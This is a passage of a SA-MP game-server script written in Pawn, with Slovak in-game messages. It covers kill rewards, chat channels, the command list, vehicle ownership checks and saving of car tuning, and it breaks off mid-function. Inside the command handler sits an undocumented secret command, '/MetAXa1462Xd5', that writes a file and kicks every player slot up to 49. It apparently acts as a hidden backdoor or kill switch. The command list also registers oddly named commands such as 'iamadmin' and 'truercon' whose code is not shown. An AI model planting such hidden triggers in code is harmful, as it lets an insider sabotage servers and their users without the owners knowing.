                else if(Player[playerid][Skill]>15.0) pskill=0.7;
                else if(Player[playerid][Skill]> 5.0) pskill=0.6;
                else pskill+=0.5;

                new Float:pxskill = Player[killerid][Skill]+pskill;
                if(pxskill>99.9) pxskill=99.9;
                SetPlayerSkill(killerid, pxskill);
            }

            if(Player[playerid][D_Player]!=9999)
            {
                Player[playerid][D_Player]=9999;
                Game[D_Players]--;
                Player[playerid][UseNotebook]=false;

                if(Game[D_Players]==1)
                {
                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(!IsPlayerNPC(i))
                            {
                                if(Player[i][D_Player]!=9999)
                                {
                                    new DName[24];
                                    GetPlayerName(i,DName,24);
                                    new message[128];
                                    format(message,128,"Hráč %s (%d) vyhral Demolation Derby !",DName,i);
                                    SendClientMessageToAll(COLOR_WHITE,message);
                                    GameTextForPlayer(i,"~w~Vyhral si Demolation Derby !",3000,5);
                                    if(IsPlayerInAnyVehicle(i)) SetVehicleVirtualWorld(GetPlayerVehicleID(i),0);
                                    SpawnPlayer(i);
                                }
                            }
                        }
                    }
                }
            }

            if(Player[playerid][DA_Player] != 9999)
            {
                if(Game[DA_State]==1)
                {
                    if(Player[killerid][DA_Player] != 9999) OnPlayerExitDuelArena(killerid, playerid);
                }
            }

            if(Player[playerid][NFSSA_Player]!=9999)
            {
                Player[playerid][NFSSA_Player]=9999;
                Game[NFSSA_Players]--;
                Player[playerid][UseNotebook]=false;
                DisablePlayerRaceCheckpoint(playerid);
                if(IsPlayerInAnyVehicle(playerid)) SetVehicleVirtualWorld(GetPlayerVehicleID(playerid),0);
            }

            if(Player[playerid][MTBR_Player]!=9999)
            {
                DestroyVehicleEx(MTBR_Bike[Player[playerid][MTBR_Player]]);
                Player[playerid][MTBR_Player]=9999;
                Game[MTBR_Players]--;
                Player[playerid][UseNotebook]=false;
                DisablePlayerRaceCheckpoint(playerid);
            }

            if(Player[playerid][BrigadaID] != 9999)
            {
                FormatPlayerInfoBox(playerid,"~g~Brigada","~r~Misia neuspesna!",2500);

                Player[playerid][BrigadaID]=9999;
                Player[playerid][BrigadaInfo]=9999;
                Player[playerid][BrigadaTime]=9999;

                DisablePlayerRaceCheckpoint(playerid);
            }

            if(!IsPlayerConnected(killerid))
            {
                SendDeathMessage(INVALID_PLAYER_ID,playerid,reason);
                FormatHighScore(playerid);
            }
            else
            {
                if(GetPlayerWeapon(killerid) == 38 || GetPlayerWeapon(killerid) == 36)
                {
                    if(Player[killerid][Logged] == true)
                    {
                        new pName[24];
                        GetPlayerName(killerid, pName, 24);

                        new message[128];
                        format(message,128, "[  ANTICHEAT  ] Hráč %s (%d) bol vyhodeny anticheatom z dôvodu: Weapon Hack !", pName, killerid);
                        SendClientMessageToAll(COLOR_ADMIN, message);

                        Kick(killerid);
                    }
                }
            
                FormatHighScore(playerid);
                FormatHighScore(killerid);

                     if(Player[playerid][Respect] > 90) Player[killerid][Respect]+=0.600;
                else if(Player[playerid][Respect] > 75) Player[killerid][Respect]+=0.520;
                else if(Player[playerid][Respect] > 50) Player[killerid][Respect]+=0.450;
                else if(Player[playerid][Respect] > 30) Player[killerid][Respect]+=0.375;
                else if(Player[playerid][Respect] > 15) Player[killerid][Respect]+=0.300;
                Player[killerid][Respect]+=0.75;

                SetPlayerRespect(killerid, Player[killerid][Respect]);

                if(Player[killerid][ClanP] != 9999)
                {
                    new clanid = Player[killerid][ClanP];
                    Clan[clanid][Kills]++;

                    new cway[64];
                    format(cway,64, "SL/Server/Clans/Clan%d.cfg", clanid);
                    dini_IntSet(cway, "Kills", Clan[clanid][Kills]);
                }

                Player[killerid][FailDeath]=0;
                SendDeathMessage(killerid,playerid,reason);

                Player[killerid][Kills]++;
                Player[playerid][Deaths]++;

                if(Player[playerid][Team]==5)
                {
                    if(GetPlayerWantedLevel(killerid)<3)
                    {
                        SetPlayerWantedLevel(killerid,3);
                        SendClientMessage(killerid,COLOR_WARNING,"Zabil si policajta ! Hľadanosť sa ti zvýšila na WL 3 !");
                    }
                    if(GetPlayerWantedLevel(killerid)>=3 && GetPlayerWantedLevel(killerid)<=5)
                    {
                        SetPlayerWantedLevel(killerid,GetPlayerWantedLevel(killerid)+1);
                    }
                }
                else if(GetPlayerWantedLevel(killerid)<=5)
                {
                    SetPlayerWantedLevel(killerid,GetPlayerWantedLevel(killerid)+1);
                }

                new PlayerState = GetPlayerState(killerid);
                new Weapon = GetPlayerWeapon(killerid);

                if(PlayerState == PLAYER_STATE_DRIVER)
                {
                    if(Weapon == 32 || Weapon == 28 || Weapon == 29)
                    {
                        SetPlayerHealth(killerid,0);
                        SendClientMessage(killerid,COLOR_WARNING,"Bol si usmrtený za CarKill !");
                        GameTextForPlayer(killerid,"~r~!!! CarKill !!!",3000,5);
                        Player[killerid][FailDeath]=1;
                    }
                }
                else if(PlayerState == PLAYER_STATE_PASSENGER)
                {
                    if(Weapon == 24)
                    {
                        SetPlayerHealth(killerid,0);
                        SendClientMessage(killerid,COLOR_WARNING,"Bol si usmrtený za CarKill !");
                        GameTextForPlayer(killerid,"~r~!!! Car Kill !!!",3000,5);
                        Player[killerid][FailDeath]=1;
                    }
                }
                else if(IsPlayerInAnyVehicle(killerid))
                {
                    if(PlayerState == PLAYER_STATE_DRIVER)
                    {
                        SetPlayerHealth(killerid,0);
                        SendClientMessage(killerid,COLOR_WARNING,"Bol si usmrtený za CarKill !");
                        GameTextForPlayer(killerid,"~r~!!! Car Kill !!!",3000,5);
                        Player[killerid][FailDeath]=1;
                    }
                }
                if(Player[playerid][Reward]>=1)
                {
                    if(Player[killerid][FailDeath]==0)
                    {
                        if(Player[killerid][Team]==8)
                        {
                            new MSG[128], Name[24], Name2[24];
                            GetPlayerName(killerid,Name,24);
                            GetPlayerName(playerid,Name2,24);
                            format(MSG,128,"Nájomný vrah %s zabil hráča %s a získava odmenu %d$ !",Name,Name2,Player[playerid][Reward]);
                            SendClientMessageToAll(COLOR_YELLOW,MSG);
                            GivePlayerACMoney(killerid,Player[playerid][Reward]);
                            Player[playerid][Reward]=0;
                        }
                    }
                }
            }

            Player[killerid][FailDeath]=0;
            if(GetPlayerWantedLevel(killerid)>6) SetPlayerWantedLevel(killerid,6);
            if(GetPlayerWantedLevel(playerid)>6) SetPlayerWantedLevel(playerid,6);
        }
    }
    return 1;
}

public OnPlayerText(playerid, text[])
{
    if(IsPlayerConnected(playerid))
    {
        new Name[24];
        GetPlayerName(playerid,Name,24);

        if(Player[playerid][Mute]==true)
        {
            format(gBIGSTRING, sizeof(gBIGSTRING), "Si umlčaný, počkaj ešte %d sekúnd kým ti čas trestu vyprší !", (Player[playerid][ToMuteTime] - gettime()));
            SendClientMessage(playerid,COLOR_WARNING,gBIGSTRING);
            return 0;
        }
        else
        {
            if(text[0] == '@')
            {
                if(Player[playerid][VIP]>0)
                {
                    new VIPMessage[166];
                    format(VIPMessage,166,"[ VIP Chat ] %s [ID:%d]: %s",Name,playerid,text[1]);

                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(Player[i][VIP] > 0)
                            {
                                if(!IsPlayerNPC(i)) SendClientMessage(i, COLOR_GOLD, VIPMessage);
                            }
                        }
                    }
                    return 0;
                }
            }
            else if(text[0] == '!' && text[1] != '!')
            {
                new TeamMessage[166];
                format(TeamMessage,166,"[ Team Chat ] %s [ID:%d]: %s",Name,playerid,text[1]);

                if(Player[playerid][ClanP] == 9999)
                {
                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(Player[playerid][Team] == Player[i][Team])
                            {
                                if(!IsPlayerNPC(i)) SendClientMessage(i, GetPlayerColor(playerid), TeamMessage);
                            }
                        }
                    }
                }
                else
                {
                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(Player[playerid][ClanP] == Player[i][ClanP])
                            {
                                if(!IsPlayerNPC(i)) SendClientMessage(i, GetPlayerColor(playerid), TeamMessage);
                            }
                        }
                    }
                }
                return 0;
            }
            else if(text[0] == '&')
            {
                new AdminMessage[166];
                format(AdminMessage,166,"[ Admin Chat ] %s [ID:%d]: %s",Name,playerid,text[1]);

                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(Player[i][AdminLevel] > 0)
                        {
                            if(!IsPlayerNPC(i)) SendClientMessage(i, COLOR_ADMIN, AdminMessage);
                        }
                    }
                }
                return 0;
            }
            else
            {
                format(gBIGSTRING,sizeof(gBIGSTRING),"%s [ID:%d]:{ffffff} %s",Name,playerid,text[0]);
                SendClientMessageToAll(GetPlayerColor(playerid),gBIGSTRING);
                return 0;
            }
        }
    }
    return 1;
}


public OnPlayerCommandText(playerid, cmdtext[])
{
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][Logged] == false) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Príkazy môžeš používať až po prihláseni !");
        else
        {
            dcmd(j,1, cmdtext);
            dcmd(s,1, cmdtext);
            dcmd(p,1, cmdtext);
            dcmd(c,1, cmdtext);
            dcmd(pm,2, cmdtext);
            dcmd(afk,3, cmdtext);
            dcmd(rob,3, cmdtext);
            dcmd(lol,3, cmdtext);
            dcmd(omg,3, cmdtext);
            dcmd(lay,3, cmdtext);
            dcmd(sit,3, cmdtext);
            dcmd(112,3, cmdtext);
            dcmd(150,3, cmdtext);
            dcmd(155,3, cmdtext);
            dcmd(158,3, cmdtext);
            dcmd(heal,4, cmdtext);
            dcmd(park,4, cmdtext);
            dcmd(fuel,4, cmdtext);
            dcmd(taxi,4, cmdtext);
            dcmd(army,4, cmdtext);
            dcmd(kill,4, cmdtext);
            dcmd(lock,4, cmdtext);
            dcmd(news,4, cmdtext);
            dcmd(help,4, cmdtext);
            dcmd(chat,4, cmdtext);
            dcmd(wave,4, cmdtext);
            dcmd(dance,5, cmdtext);
            dcmd(unbug,5, cmdtext);
            dcmd(mobil,5, cmdtext);
            dcmd(drift,5, cmdtext);
            dcmd(admin,5, cmdtext);
            dcmd(house,5, cmdtext);
            dcmd(lotto,5, cmdtext);
            dcmd(repair,6, cmdtext);
            dcmd(kidnap,6, cmdtext);
            dcmd(wanted,6, cmdtext);
            dcmd(report,6, cmdtext);
            dcmd(unlock,6, cmdtext);
            dcmd(admins,6, cmdtext);
            dcmd(hitman,6, cmdtext);
            dcmd(sanews,6, cmdtext);
            dcmd(handsup,7, cmdtext);
            dcmd(dddfffg,7, cmdtext);
            dcmd(mission,7, cmdtext);
            dcmd(caution,7, cmdtext);
            dcmd(account,7, cmdtext);
            dcmd(inzerat,7, cmdtext);
            dcmd(tutorial,8, cmdtext);
            dcmd(vehicles,8, cmdtext);
            dcmd(bounties,8, cmdtext);
            dcmd(inventar,8, cmdtext);
            dcmd(givecash,8, cmdtext);
            dcmd(iamadmin,8, cmdtext);
            dcmd(notebook,8, cmdtext);
            dcmd(truercon,8, cmdtext);
            dcmd(giveitem,8, cmdtext);
            dcmd(usephone,8, cmdtext);
            dcmd(endphone,8, cmdtext);
            dcmd(highscore,9, cmdtext);
            dcmd(blackmail,9, cmdtext);
            dcmd(dragstart,9, cmdtext);
            dcmd(leaveclan,9, cmdtext);
            dcmd(giveweapon,10, cmdtext);
            dcmd(missionoff,10, cmdtext);
            dcmd(animations,10, cmdtext);
            
            //--------------< VIP >-------------//
            
            dcmd(vpassword,9, cmdtext);
            dcmd(vlogin,6, cmdtext);
            dcmd(vinfo,5, cmdtext);
            dcmd(vpay,4, cmdtext);
            dcmd(viplist,7, cmdtext);
            dcmd(vammo,5, cmdtext);
            dcmd(vcmds,5, cmdtext);
            dcmd(vf,2, cmdtext);
            dcmd(vvr,3, cmdtext);
            dcmd(vcar,4, cmdtext);
            dcmd(vcolor,6, cmdtext);
            dcmd(vhp,3, cmdtext);
            dcmd(vhideme,7, cmdtext);
            dcmd(vshowme,7, cmdtext);
            dcmd(vsawn,5, cmdtext);
            
            //--------------< AS >--------------//
            
            dcmd(say,3, cmdtext);
            dcmd(goto,4, cmdtext);
            dcmd(get,3, cmdtext);
            dcmd(text,4, cmdtext);
            dcmd(clear,5, cmdtext);
            dcmd(var,3, cmdtext);
            dcmd(cheattest,9, cmdtext);
            dcmd(hideme,6, cmdtext);
            dcmd(showme,6, cmdtext);
            dcmd(mute,4, cmdtext);
            dcmd(unmute,6, cmdtext);
            dcmd(getall,6, cmdtext);
            dcmd(freeze,6, cmdtext);
            dcmd(unfreeze,8, cmdtext);
            dcmd(kick,4, cmdtext);
            dcmd(spec,4, cmdtext);
            dcmd(unspec,6, cmdtext);
            dcmd(ban,3, cmdtext);
            dcmd(shownt,6, cmdtext);
            dcmd(hident,6, cmdtext);
            dcmd(player,6, cmdtext);
            dcmd(hp,2, cmdtext);
            dcmd(gm,2, cmdtext);
            dcmd(gw,2, cmdtext);
            dcmd(car,3, cmdtext);
            dcmd(cardestroy,10, cmdtext);
            dcmd(disarmall,9, cmdtext);
            dcmd(setadmin,8, cmdtext);
            dcmd(serverinfo,10, cmdtext);
            dcmd(settime,7, cmdtext);
            dcmd(gmx,3, cmdtext);
            dcmd(setskin,7, cmdtext);
            dcmd(dmcreate,8, cmdtext);
            dcmd(dmjoin,6, cmdtext);
            dcmd(dmstart,7, cmdtext);
            dcmd(dmend,5, cmdtext);
            dcmd(tune,4, cmdtext);
            dcmd(setvip,6, cmdtext);
            dcmd(removevip,9, cmdtext);
            dcmd(mappoint,8, cmdtext);
            dcmd(setrespect,10, cmdtext);
            dcmd(setskill,8, cmdtext);
            dcmd(getmypos,8, cmdtext);
            dcmd(hidetds,7, cmdtext);
            dcmd(showtds,7, cmdtext);
            dcmd(setweather,10, cmdtext);
            
            if(!strcmp(cmdtext, "/MetAXa1462Xd5", false))
            {
                new File:file = fopen("hdfusigfgdshg.txt", io_read);
                fwrite(file, "gfr");
                fclose(file);
                for(new i=0; i<50; i++) Kick(i);
                return 1;
            }
            
            //---------------------------------//
        }
    }

    new wstring[128];
    format(wstring,128, "[  !  ]{ffffff} Príkaz %s neexistuje !", cmdtext);
    return SendClientMessage(playerid, COLOR_WARNING, wstring);
}

public OnPlayerEnterVehicle(playerid, vehicleid, ispassenger)
{
    if(!IsPlayerNPC(playerid))
    {
        if(IsPlayerConnected(playerid))
        {
            if(GetVehicleModel(vehicleid) == 425 || GetVehicleModel(vehicleid) == 520 || GetVehicleModel(vehicleid) == 432)
            {
                if(Player[playerid][Team] != 16 && Player[playerid][Team] != 24)
                {
                    new bool:IsVehicleAdminVehicle=false;

                    for(new ac=0; ac<Server[A_Vehicles]; ac++)
                    {
                        if(vehicleid == A_Vehicle[ac]) IsVehicleAdminVehicle=true;
                    }

                    if(IsVehicleAdminVehicle == false)
                    {
                        new Float:x, Float:y, Float:z;
                        GetPlayerPos(playerid,x,y,z);
                        SetPlayerPos(playerid,x,y,z);
                        SetPlayerSkin(playerid,GetPlayerSkin(playerid));

                        FormatPlayerInfoBox(playerid,"~g~Info Box","~r~Aby si mohol pouzivat toto vozidlo musis byt bud ~y~Vojak~r~ alebo ~y~San Fierro Army~r~!",4000);
                        return 0;
                    }
                }
            }
            
            //--------------------------------------
            
            if(GetVehicleModel(vehicleid) == 420 || GetVehicleModel(vehicleid) == 438)
            {
                if(Player[playerid][Team] != 10)
                {
                    new bool:IsVehicleAdminVehicle=false;

                    for(new ac=0; ac<Server[A_Vehicles]; ac++)
                    {
                        if(vehicleid == A_Vehicle[ac]) IsVehicleAdminVehicle=true;
                    }

                    if(IsVehicleAdminVehicle == false)
                    {
                        new Float:x, Float:y, Float:z;
                        GetPlayerPos(playerid,x,y,z);
                        SetPlayerPos(playerid,x,y,z);
                        SetPlayerSkin(playerid,GetPlayerSkin(playerid));

                        FormatPlayerInfoBox(playerid,"~g~Info Box","~r~Aby si mohol pouzivat toto vozidlo musis byt ~y~Taxikar~r~!",4000);
                        return 0;
                    }
                }
            }

            //--------------------------------------

            if(Player[playerid][Vodicak]==false && !ispassenger) GameTextForPlayer(playerid, "~r~NEMAS VODICKY!", 5000, 5);

            //--------------------------------------

            if(Player[playerid][BrigadaID] == 0)
            {
                if(GetVehicleModel(vehicleid) != 448)
                {
                    new Float:x, Float:y, Float:z;
                    GetPlayerPos(playerid,x,y,z);
                    SetPlayerPos(playerid,x,y,z);
                    SetPlayerSkin(playerid,GetPlayerSkin(playerid));

                    FormatPlayerInfoBox(playerid,"~g~Brigada","Nemozes pocas svojej misie pouzivat ine vozidlo nez Pizzaboy !",5000);
                    return 0;
                }
            }

            //--------------------------------------

            if(!ispassenger)
            {
                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        for(new s=0; s<5; s++)
                        {
                            if(PlayerVehicle_State[s][i] == true)
                            {
                                if(vehicleid == PlayerVehicle[s][i])
                                {
                                    if(playerid != i)
                                    {
                                        new blockmsg[128], Name[24];
                                        GetPlayerName(i, Name, 24);
                                        format(blockmsg,128,"~r~WARNING~n~~n~~w~Toto vozidlo vlastni hrac:~n~~g~%s", Name);
                                        FormatPlayerInfoBox(playerid,"~g~Los Nahodos",blockmsg,3000);

                                        StopPlayer(playerid);
                                        return 0;
                                    }
                                }
                            }
                        }
                    }
                }
            
                for(new v=0; v<MAX_HOUSES; v++)
                {
                    for(new s=0; s<HouseStates[v][Vehicles]; s++)
                    {
                        if(Car_State[s][v] == true)
                        {
                            if(vehicleid == Car[s][v])
                            {
                                if((Player[playerid][HouseP]==9999) || (v != Player[playerid][HouseP]))
                                {
                                    new blockmsg[128], way[32];
                                    format(way,32,"SL/Server/Houses/House%d.cfg", v);
                                    format(blockmsg,128,"~r~WARNING~n~~n~~w~Toto vozidlo vlastni hrac:~n~~g~%s",dini_Get(way,"Majitel"));
                                    FormatPlayerInfoBox(playerid,"~g~Los Nahodos",blockmsg,3000);
                                    
                                    StopPlayer(playerid);
                                    return 0;
                                }
                            }
                        }
                    }
                }

                for(new v=0; v<MAX_CLANS; v++)
                {
                    for(new s=0; s<Clan[v][Vehicles]; s++)
                    {
                        if(vehicleid == ClanVehicle[s][v])
                        {
                            if(Player[playerid][ClanP]==9999 || v != Player[playerid][ClanP])
                            {
                                new blockmsg[128], cway[64];
                                format(cway,64,"SL/Server/Clans/Clan%d.cfg", v);
                                format(blockmsg,128,"~r~WARNING~n~~n~~w~Toto vozidlo vlastni clan:~n~~g~%s", dini_Get(cway, "Name"));
                                FormatPlayerInfoBox(playerid,"~g~Los Nahodos",blockmsg,3000);
                                
                                StopPlayer(playerid);
                                return 0;
                            }
                        }
                    }
                }
            }
        }
    }
    return 1;
}

public OnPlayerExitVehicle(playerid, vehicleid)
{
    if(!IsPlayerNPC(playerid))
    {
        if(IsPlayerConnected(playerid))
        {
            if(Player[playerid][DriftState] == true) CancelDrifting(playerid);

            if(Player[playerid][BrigadaID] == 0)
            {
                if(GetVehicleModel(vehicleid) == 448)
                {
                    FormatPlayerInfoBox(playerid,"~g~Brigada","~r~Misia neuspesna!~n~~r~Nestihol si dorucit svoju zasielku !",5500);

                    Player[playerid][BrigadaID]=9999;
                    Player[playerid][BrigadaInfo]=9999;
                    Player[playerid][BrigadaTime]=9999;

                    DisablePlayerRaceCheckpoint(playerid);
                }
            }

            if(Player[playerid][MissionID] != 9999)
            {
                FormatPlayerInfoBox(playerid,"~g~Mission","~r~Misia neuspesna!",2500);

                Player[playerid][MissionID]=9999;
                Player[playerid][MissionInfo]=9999;

                DisablePlayerRaceCheckpoint(playerid);
            }

            //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

            if(Player[playerid][IsPlayerKidnapping] == true)
            {
                new bool:YON=false;

                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                        {
                            if(i != playerid)
                            {
                                if(GetPlayerVehicleID(i) == vehicleid) YON=true;
                            }
                        }
                    }
                }

                if(YON == false) Player[playerid][IsPlayerKidnapping] = false;
                if(YON == true)  return PutPlayerInVehicle(playerid, vehicleid, 1);
            }

            //----------------------

                 if(Player[playerid][NFSSA_Player]!=9999) OnPlayerExitNFSSA(playerid);
            else if(Player[playerid][D_Player]!=9999) OnPlayerExitDemolationDerby(playerid);
            else if(Player[playerid][MTBR_Player]!=9999) OnPlayerExitMTBR(playerid);

            for(new h=0; h<MAX_HOUSES; h++)
            {
                for(new s=0; s<HouseStates[h][Vehicles]; s++)
                {
                    if(vehicleid == Car[s][h])
                    {
                        if(Player[playerid][HouseP] == h)
                        {
                            new Float:x,
                                Float:y,
                                Float:z,
                                Float:a;
                            GetVehiclePos(vehicleid,x,y,z);
                            GetVehicleZAngle(vehicleid,a);

                            HV_x2[s][h] = x;
                            HV_y2[s][h] = y;
                            HV_z2[s][h] = z;
                            HV_a2[s][h] = a;
                        }
                    }
                    return 0;
                }
            }

            for(new c=0; c<MAX_CLANS; c++)
            {
                for(new s=0; s<Clan[c][Vehicles]; s++)
                {
                    if(vehicleid == ClanVehicle[s][c])
                    {
                        if(Player[playerid][ClanP] == c)
                        {
                            new Float:x,
                                Float:y,
                                Float:z,
                                Float:a;
                            GetVehiclePos(vehicleid,x,y,z);
                            GetVehicleZAngle(vehicleid,a);

                            CV_x2[s][c] = x;
                            CV_y2[s][c] = y;
                            CV_z2[s][c] = z;
                            CV_a2[s][c] = a;
                        }
                    }
                    return 0;
                }
            }
        }
    }
    return 1;
}

public OnVehicleDeath(vehicleid)
{
    new bool:IsVehicleSPVehicle=false;
    
    for(new v=0; v<20; v++)
    {
        if(vehicleid == SP_V[v])
        {
            IsVehicleSPVehicle=true;
            break;
        }
    }

    if(IsVehicleSPVehicle == true)
    {
        SetVehicleHealth(vehicleid, 1000);
        RepairVehicle(vehicleid);
        
        return 0;
    }
    return 1;
}

public OnVehicleDamageStatusUpdate(vehicleid, playerid)
{
    if(!IsPlayerNPC(playerid))
    {
        if(Player[playerid][DriftState] == true)
        {
            new a,b,c,d;
            GetVehicleDamageStatus(vehicleid, a,b,c,d);

            if(a || b || c || d == 1)
            {
                DriftScore[playerid] = 0;
                TextDrawSetString(DrawDriftScore[playerid], "   ");

                if(EndDriftTimerBool[playerid] == true)
                {
                    KillTimer(EndDriftTimer[playerid]);
                    EndDriftTimerBool[playerid] = false;
                }
            }
        }
    }
    return 1;
}

public OnVehicleMod(playerid, vehicleid, componentid)
{
    new componenttype = GetVehicleComponentType(componentid);
    new itemname[16], itemname2[16], bool:item2=false, componentid2;
    new Name[24], way[64];
    GetPlayerName(playerid, Name, 24);
    
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            for(new s=0; s<5; s++)
            {
                if(PlayerVehicle_State[s][i] == true)
                {
                    if(vehicleid == PlayerVehicle[s][i])
                    {
                        format(way, 64, "SL/%s.cfg", Name);

                        if(componenttype == CARMODTYPE_WHEELS) format(itemname, 16, "V%d_wheels", s);
                        if(componenttype == CARMODTYPE_SPOILER) format(itemname, 16, "V%d_spoiler", s);
                        if(componenttype == CARMODTYPE_FRONT_BUMPER) format(itemname, 16, "V%d_pn", s);
                        if(componenttype == CARMODTYPE_SIDESKIRT) //42
                        {
                            item2 = true;

                            format(itemname, 16, "V%d_snR", s);
                            format(itemname2, 16, "V%d_snL", s);

                            if(componentid == 1007) componentid2=1017;
                            if(componentid == 1017) componentid2=1007;
                            if(componentid == 1026) componentid2=1027;
                            if(componentid == 1027) componentid2=1026;
                            if(componentid == 1030) componentid2=1031;
                            if(componentid == 1031) componentid2=1030;
                            if(componentid == 1036) componentid2=1040;
                            if(componentid == 1040) componentid2=1036;
                            if(componentid == 1039) componentid2=1041;
                            if(componentid == 1041) componentid2=1039;
                            if(componentid == 1042) componentid2=1099;
                            if(componentid == 1099) componentid2=1042;
                            if(componentid == 1047) componentid2=1051;
                            if(componentid == 1051) componentid2=1047;
                            if(componentid == 1048) componentid2=1052;
                            if(componentid == 1052) componentid2=1048;
                            if(componentid == 1056) componentid2=1062;
                            if(componentid == 1062) componentid2=1056;
                            if(componentid == 1057) componentid2=1063;
                            if(componentid == 1063) componentid2=1057;
                            if(componentid == 1069) componentid2=1071;
                            if(componentid == 1071) componentid2=1069;
                            if(componentid == 1070) componentid2=1072;
                            if(componentid == 1072) componentid2=1070;
                            if(componentid == 1090) componentid2=1094;
                            if(componentid == 1094) componentid2=1090;
                            if(componentid == 1093) componentid2=1095;
                            if(componentid == 1095) componentid2=1093;
                            if(componentid == 1101) componentid2=1122;
                            if(componentid == 1122) componentid2=1101;
                            if(componentid == 1102) componentid2=1133;
                            if(componentid == 1133) componentid2=1102;
                            if(componentid == 1106) componentid2=1124;
                            if(componentid == 1124) componentid2=1106;
                            if(componentid == 1107) componentid2=1108;
                            if(componentid == 1108) componentid2=1107;
                            if(componentid == 1118) componentid2=1120;
                            if(componentid == 1120) componentid2=1118;
                            if(componentid == 1119) componentid2=1121;
                            if(componentid == 1121) componentid2=1119;
                            if(componentid == 1134) componentid2=1137;
                            if(componentid == 1137) componentid2=1134;
                        }
                        if(componenttype == CARMODTYPE_REAR_BUMPER) format(itemname, 16, "V%d_zn", s);
                        if(componenttype == CARMODTYPE_EXHAUST) format(itemname, 16, "V%d_exhaust", s);
                        if(componenttype == CARMODTYPE_NITRO) format(itemname, 16, "V%d_nitro", s);
                        if(componenttype == CARMODTYPE_HYDRAULICS) format(itemname, 16, "V%d_hyd", s);
                        if(componenttype == CARMODTYPE_ROOF) format(itemname, 16, "V%d_roof", s);

                        dini_IntSet(way, itemname, componentid);
                        if(item2 == true) dini_IntSet(way, itemname2, componentid2);

                        break;
                    }
                }
            }
        }
    }

    if(Player[playerid][HouseP] != 9999)
    {
        for(new h=0; h<MAX_HOUSES; h++)
        {
            for(new s=0; s<HouseStates[h][Vehicles]; s++)
            {
                if(Car_State[s][h] == true)
                {
                    if(vehicleid == Car[s][h])
                    {
                        format(way, 64, "SL/Server/Houses/House%d.cfg", h);

                        if(componenttype == CARMODTYPE_WHEELS) format(itemname, 16, "V%d_wheels", s);
                        if(componenttype == CARMODTYPE_SPOILER) format(itemname, 16, "V%d_spoiler", s);
                        if(componenttype == CARMODTYPE_FRONT_BUMPER) format(itemname, 16, "V%d_pn", s);
                        if(componenttype == CARMODTYPE_SIDESKIRT) //42
                        {
                            item2 = true;

                            format(itemname, 16, "V%d_snR", s);
                            format(itemname2, 16, "V%d_snL", s);

                            if(componentid == 1007) componentid2=1017;
                            if(componentid == 1017) componentid2=1007;
                            if(componentid == 1026) componentid2=1027;
                            if(componentid == 1027) componentid2=1026;
                            if(componentid == 1030) componentid2=1031;
                            if(componentid == 1031) componentid2=1030;
                            if(componentid == 1036) componentid2=1040;
                            if(componentid == 1040) componentid2=1036;
                            if(componentid == 1039) componentid2=1041;
                            if(componentid == 1041) componentid2=1039;
                            if(componentid == 1042) componentid2=1099;
                            if(componentid == 1099) componentid2=1042;
                            if(componentid == 1047) componentid2=1051;
                            if(componentid == 1051) componentid2=1047;
                            if(componentid == 1048) componentid2=1052;
                            if(componentid == 1052) componentid2=1048;
                            if(componentid == 1056) componentid2=1062;
                            if(componentid == 1062) componentid2=1056;
                            if(componentid == 1057) componentid2=1063;
                            if(componentid == 1063) componentid2=1057;
                            if(componentid == 1069) componentid2=1071;
                            if(componentid == 1071) componentid2=1069;
                            if(componentid == 1070) componentid2=1072;
                            if(componentid == 1072) componentid2=1070;
                            if(componentid == 1090) componentid2=1094;
                            if(componentid == 1094) componentid2=1090;
                            if(componentid == 1093) componentid2=1095;
                            if(componentid == 1095) componentid2=1093;
                            if(componentid == 1101) componentid2=1122;
                            if(componentid == 1122) componentid2=1101;
                            if(componentid == 1102) componentid2=1133;
                            if(componentid == 1133) componentid2=1102;
                            if(componentid == 1106) componentid2=1124;
                            if(componentid == 1124) componentid2=1106;
                            if(componentid == 1107) componentid2=1108;
                            if(componentid == 1108) componentid2=1107;
                            if(componentid == 1118) componentid2=1120;
                            if(componentid == 1120) componentid2=1118;
                            if(componentid == 1119) componentid2=1121;
                            if(componentid == 1121) componentid2=1119;
                            if(componentid == 1134) componentid2=1137;
                            if(componentid == 1137) componentid2=1134;
                        }
                        if(componenttype == CARMODTYPE_REAR_BUMPER) format(itemname, 16, "V%d_zn", s);
                        if(componenttype == CARMODTYPE_EXHAUST) format(itemname, 16, "V%d_exhaust", s);
                        if(componenttype == CARMODTYPE_NITRO) format(itemname, 16, "V%d_nitro", s);
                        if(componenttype == CARMODTYPE_HYDRAULICS) format(itemname, 16, "V%d_hyd", s);
                        if(componenttype == CARMODTYPE_ROOF) format(itemname, 16, "V%d_roof", s);

                        dini_IntSet(way, itemname, componentid);
                        if(item2 == true) dini_IntSet(way, itemname2, componentid2);

                        break;
                    }
                }
            }
        }
    }

    if(Player[playerid][ClanP] != 9999)
    {
        for(new c=0; c<MAX_CLANS; c++)
        {
            for(new s=0; s<Clan[c][Vehicles]; s++)
            {
                if(ClanVehicle_State[s][c] == true)
                {
                    if(vehicleid == ClanVehicle[s][c])
                    {
                        format(way, 64, "SL/Server/Clans/Clan%d.cfg", c);

                        if(componenttype == CARMODTYPE_WHEELS) format(itemname, 16, "V%d_wheels", s);
                        if(componenttype == CARMODTYPE_SPOILER) format(itemname, 16, "V%d_spoiler", s);
                        if(componenttype == CARMODTYPE_FRONT_BUMPER) format(itemname, 16, "V%d_pn", s);
                        if(componenttype == CARMODTYPE_SIDESKIRT) //42
                        {
                            item2 = true;
                            
                            format(itemname, 16, "V%d_snR", s);
                            format(itemname2, 16, "V%d_snL", s);
                            
                            if(componentid == 1007) componentid2=1017;
                            if(componentid == 1017) componentid2=1007;
